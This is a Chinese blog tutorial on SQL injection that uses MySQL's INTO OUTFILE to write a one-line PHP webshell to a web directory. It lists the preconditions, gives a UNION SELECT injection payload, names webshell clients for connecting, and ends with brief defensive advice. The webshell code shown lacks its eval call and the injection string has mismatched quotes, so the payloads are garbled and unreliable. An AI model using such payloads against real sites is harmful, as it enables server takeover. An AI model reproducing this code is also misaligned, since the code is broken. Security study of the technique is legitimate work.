本文主要是介绍sql注入之into outfile语句写入一句话木马,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
1、漏洞介绍
into outfile 语句用于把表数据导出到一个文本文件中,要想mysql用户对文件进行导入导出,首先要看指定的权限目录。mysql 新版本下secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出;
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下;
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。
2、必备条件
1)要有file_priv权限
2)知道网站绝对路径(可以通过报错信息、phpinfo界面、404界面等一些方式知道)
3)要能用union
4)对web目录有写权限
5)select <?php @($_POST['xx']);?> into outfile "绝对路径/文件名"
3、实验步骤
1)?id=xx union select 1,2,"<?php @($_POST['xx']);?> into outfile "文件路径"--+
2)蚁剑、哥斯拉连接即可
4、防御
1)数据库连接账号不要用root权限
解释:黑客获取root权限可以对服务器进行操作,最高权限造成了拥有所有可以操作的权限,对任意终端操作。
2)php关闭报错模式
解释:关闭报错模式无法获取数据库配置文件路径,没有路径就会降低攻击,只能另寻他法。
3)mysql账户没有权限向网站目录写文件
解释:限制文件写入的目录和文件类型,避免恶意用户写入危险的文件
这篇关于sql注入之into outfile语句写入一句话木马的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!